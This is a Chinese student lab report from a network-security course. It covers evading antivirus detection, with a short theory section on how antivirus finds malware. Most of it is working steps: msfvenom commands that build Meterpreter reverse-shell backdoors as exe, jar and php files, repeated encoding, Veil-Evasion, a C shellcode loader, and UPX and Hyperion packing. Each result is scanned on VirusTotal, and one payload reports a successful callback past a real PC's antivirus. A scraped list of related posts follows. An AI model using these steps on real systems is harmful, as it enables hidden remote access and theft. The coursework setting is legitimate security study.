NetSec2019 20165327 Exp3 免杀原理与实践
NetSec2019 20165327 Exp3 免杀原理与实践
pre基础问题回答
一、免杀原理
一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。
要做好免杀,就时清楚杀毒软件(恶意软件检测工具)是如何工作的。AV(Anti-virus)是很大一个产业。其中主要的技术人员基本有编制恶意软件的经验。
反过来也一样,了解了免杀的工具和技术,你也就具有了反制它的基础。
二、Q&A
1、杀软是如何检测出恶意代码的?
基于特征码的检测:简单来说一段特征码就是一段或多段数据,经过对许多恶意代码的分析,我们发现了该类恶意代码经常出现的一段或多段代码,而且是其他正常程序没有的,即特征码。如果杀软检测到一个可执行文件包含特征码就认为其是恶意代码。
启发式恶意软件检测:就是根据些片面特征去推断。通常是因为缺乏精确判定依据。(非精确)
基于行为的恶意软件检测:可以理解为加入了行为监控的启发式。通过对恶意代码的观察研究,发现有一些行为是恶意代码共同的比较特殊的行为,杀软会监视程序的运行,如果发现了这些特殊行为,就会认为其是恶意软件。(非精确)
2、免杀是做什么?
使用一些技术手段对恶意软件做处理,让它不被杀毒软件所检测。同时,免杀也是渗透测试中需要使用到的技术。
3、免杀的基本方法有哪些?
①改变特征码:对恶意代码进行加壳、用其他语言或编译器进行再编译,利用shellcode进行编码。
②改变攻击行为:基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码。
三、免杀效果评价
利用VirusTotal或Virscan,它们集成了60多个商业杀毒软件的扫描引擎。可以上传免杀处理过的程序进行检测。
环境:
kali IP:10.0.2.15
任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;
1、使用msf编码器
①用实验二学到的命令生成后门程序
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=5327 -f exe > metyjt.exe

②将生成的程序上传到virus total试试结果

③使用msf编码器对后门程序编码10次,-i设置迭代次数
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=10.0.2.15 LPORT=5327 -f exe > metyjt-encoded10.exe

④上传到virus total试试免杀操作是否有效

神马回事。。。为什么分母还变了?网的问题么?
2. msfvenom生成jar文件
①生成jar后门程序:
msfvenom -p java/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=5327 x> yjt_backdoor_java.jar
②生成文件:


③扫描结果:

3. msfvenom生成php文件
①生成PHP后门程序使用命令:
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=5327 x> yjt_backdoor.php
②生成文件:


③扫描结果:

有、、意思了
4. 使用veil-evasion生成后门程序及检测
打开veil:
use evasion
use c/meterpreter/rev_tcp.py
set LHOST 10.0.2.15
set LPORT 5327
options
结果:

输入generate生成文件,接着输入你想要playload的名字:veil_c_5327
生成文件:

扫描结果:

我操作应该没问题啊为什么和别人不一样
我是该笑还是哭。。。
5. 半手工注入Shellcode并执行
首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=5327 -f c用c语言生成一段shellcode;

创建一个文件20165327.c,然后将unsigned char buf[]赋值到其中,代码如下:
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
……
"\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5"
"\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85"
"\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1"
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
;
int main()
{
int (*func)() = (int(*)())buf;
func();
}
使用命令:i686-w64-mingw32-g++ 20165327.c -o 20165327.exe编译这个.c文件为可执行文件;

扫描结果:

使用windows上执行该程序时:

这是可以的意思吗?! 我的电脑除了管家没专业杀毒软件……
快速扫描:

自定义扫描:

这下总算扫到了。。。
6.加壳尝试一下
给之前的20165327.exe加个壳得到yjt_upxed.exe:upx 20165327.exe -o yjt_upxed.exe

扫描结果:


因为要回连,将yjt_upxed.exe放到了ncat文件夹里,查看连接情况


加密壳Hyperion
将上一个生成的文件拷贝到/usr/share/windows-binaries/hyperion/目录中
进入目录/usr/share/windows-binaries/hyperion/中
输入命令wine hyperion.exe -v yjt_upxed.exe yjt_upxed_Hyperion.exe进行加壳:

扫描一下:


任务二:通过组合应用各种技术实现恶意代码免杀
任务一已做


任务三:(用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本)
免杀方法:20165327.exe,再使用压缩壳和加密壳进行加壳。
实验环境:对方win10本机,联想电脑管家
回连成功后:

一直出现的问题:注入半手工shellcode虽然能降低查杀率,但是貌似不能回连,怎么回事。。。
NetSec2019 20165327 Exp3 免杀原理与实践的更多相关文章
- 20165310 NetSec2019 Week5 Exp3 免杀原理与实践
20165310 NetSec2019 Week5 Exp3 免杀原理与实践 一.免杀原理 杀软是如何检测出恶意代码的 基于特征码的检测:特征码就是一段恶意程序有但是正常程序没有的一段代码,当杀软检测 ...
- 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...
- 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...
- 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...
- 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践
2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...
- 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...
- 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...
随机推荐
- 用matlab画两个曲面的图
求助!!用matlab画两个曲面的图 这是我写的程序,但是运行不出来,麻烦帮我修改一下,谢谢!!clearallcloseall[x,y]=meshgrid(0:.1:60);z1=(25*y-25* ...
- git上clone需要ssh时
在命令行中输入ssh-keygen -t rsa -C "your_email@example.com" 然后使用编辑器打开id_rsa.pub文件,复制里面的ssh
- EL有11个隐含对象
EL有11个隐含对象: 隐含对象 类型 说明 ...
- 2018.5.15Html标签初学
body标签 -图标: :(一个空格)>:(表示>)<:(表示<) -p标签:段落的划分 -br标签:换行 标签分为块级标签和行内标签. 块级标签: ...
- 2018.2.21 Python 初学习
折腾了一天,一直在用CMD学习Python写Hello World.偶然间发现可以用Pycharm.也算是给后面想学习的人提个醒,方便省事许多. format()使用方法. age = 20name ...
- Tensorflow object detection API ——环境搭建与测试
1.开发环境搭建 ①.安装Anaconda 建议选择 Anaconda3-5.0.1 版本,已经集成大多数库,并将其作为默认python版本(3.6.3),配置好环境变量(Anaconda安装则已经配 ...
- 了解Linux操作系统发展阶段
一.硬件与软件发展历史 计算机由硬件和软件组成结构 二.Linux的发展史 Linux 操作系统是Unix操作系统的一种克隆系统.它诞生于1991年的10月5日(只是第一次正式向外公布的时间).以后借 ...
- wpf中插入winform控件并获取句柄
因工作需要使用wpf做界面,而有个开发包依赖picturebox控件,上网研究了一下,总算弄通了. 首先在项目中添加引用System.Windows.Forms与WindowsFormsIntegra ...
- 关于linux系统CPU篇--->不容易发现的占用CPU较高进程
1.系统的CPU使用率,不仅包括进程用户态和内核态的运行,还包括中断处理,等待IO以及内核线程等等.所以,当你发现系统的CPU使用率很高的时候,不一定能找到相对应的高CPU使用率的进程 2.案例分析, ...
- Vue 中如何引入第三方 JS 库
一绝对路径直接引入全局可用 二绝对路径直接引入配置后import 引入后再使用 三webpack中配置 aliasimport 引入后再使用 四webpack 中配置 plugins无需 import ...